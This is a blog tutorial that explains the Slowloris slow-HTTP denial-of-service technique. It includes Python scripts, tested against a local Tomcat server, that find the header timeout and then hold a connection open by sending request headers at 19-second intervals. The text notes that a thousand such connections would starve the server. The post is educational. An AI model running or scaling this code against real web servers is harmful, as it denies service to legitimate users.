I will go very basic from step by step.
As you are already known, Slowloris is a hacking tool that sends http request slowly to web server like Apache which shall get down the resource that should be available to serve for more connection.
I think you guy are used a lot of tool those are created base on the slow HTTP request's theory. But do you really understand what Slowloris and like-Slowloris tools is working? What is HTTP request's detail that browser send to web server? And how the tools send slowly Header HTTP request to web server? I always keep in my mind, tool is not your skill. It is really difference. Use tool only without understanding principle of how it works, you just a scripting kid. Nothing more!
That why today i will do a Proof Of Concept (POC) using Python, just to dig into it to understand principle of slow HTTP request.
At first of all, let's talk about environment. For anything you haven't done it before, we will need an environment to test, don't do it on real environment before do test because you cannot isolate the environment to debug if something goes wrong when testing. It will mess up everything and you will spend a lot of time for the useless with debugging.
Tools for environment:
-
Tomcat Server ( My machine is poor in resource,
cannot use VMWare, which will be better for proving)
-
Firefox with newest version. (old is still fine J )
-
Firefox’s HTTPFox add-on ( to view the Header
HTTP which sent from browser to web server )
-
Python 3.5 (present and future as the python
website said, LOL)
-
Windows OS (no matter Wins or Linux)
-
Eclipse with Pydev ( my favourite IDE)
-
A HelloWorld.war file to deploy to Tomcat
Ok, let’s start. Let we see what browser sent to web server
when did a normal request. I will use HTTPFox for this. You can take a look at
below illustration.
Now we had what browser sent to web server.
(Request-Line) GET /HelloWorld/
HTTP/1.1
Host localhost:8080
User-Agent Mozilla/5.0
(Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language en-US,en;q=0.5
Accept-Encoding gzip,
deflate
Connection keep-alive
Pragma no-cache
Cache-Control no-cache
|
By default browser will send it all once. But for slow, we will
do with slow HTTP request by sending the above lines one by one with a little
interval time. Per web server shall have their particular timeout. We will need
to know about timeout before do slow request.
Let’s see what I did to find.
'''
Created on Dec 2, 2015
@author: Sonct
'''
import socket
import time
t = time.strftime("%H:%M:%S")
print("Start create socket:" + t)
s = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
t = time.strftime("%H:%M:%S")
print("End create socket:" + t)
t = time.strftime("%H:%M:%S")
print("Start connect socket:" + t)
s.connect(("localhost", 8080))
t = time.strftime("%H:%M:%S")
print("End connect socket:" + t)
t = time.strftime("%H:%M:%S")
print("Start send socket:" + t)
s.send(("GET /HelloWorld/ HTTP/1.1\r\n").encode())
data = s.recv(1024)
t = time.strftime("%H:%M:%S")
print("End send socket:" + t)
|
And the result after run above script:
Start create socket:09:19:26
End create socket:09:19:26
Start connect socket:09:19:26
End connect socket:09:19:26
Start send
socket:09:19:26
End send
socket:09:19:47
|
As you see after I send the first line and don’t tell the
webserver that the HTTP request is done then the web server will remain my
connection to wait for the rest of request before go to timeout. The timeout
from tomcat server for waiting is: 20-21 second. So if you want to consume the
resource from web server with slow request you should use maximum possible
value. Will be around 19 seconds before it goes to timeout.
Now let’s see how the slow request goes.
'''
import socket
import time
t = time.strftime("%H:%M:%S")
print("Start create socket:" + t)
s = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
t = time.strftime("%H:%M:%S")
print("End create socket:" + t)
t = time.strftime("%H:%M:%S")
print("Start connect socket:" + t)
s.connect(("localhost", 8080))
t = time.strftime("%H:%M:%S")
print("End connect socket:" + t)
t = time.strftime("%H:%M:%S")
print("Start send socket:" + t)
s.send(("GET /HelloWorld/
HTTP/1.1\r\n").encode())
time.sleep(19)
s.send(("Host: localhost:8080\r\n").encode())
time.sleep(19)
s.send(("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:42.0) Gecko/20100101 Firefox/42.0\r\n").encode())
time.sleep(19)
s.send(("Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n").encode())
time.sleep(19)
s.send(("Accept-Language: en-US,en;q=0.5\r\n").encode())
time.sleep(19)
s.send(("Accept-Encoding: gzip, deflate\r\n").encode())
time.sleep(19)
s.send(("Connection: keep-alive\r\n").encode())
#s.send(("\r\n").encode())
data = s.recv(1024).decode()
t = time.strftime("%H:%M:%S")
print("End send socket:" + t)
|
So because there is no sign that should be used to indicate
the HTTP request is done then web server keeps waiting for the sign (/r/n) to handle
request. If you send 1000 incomplete requests then the server will have no
resource for other connection.
Done. Please let me know if you have any suggestion or
comment about this article.
Thanks a lot.
Comments
Post a Comment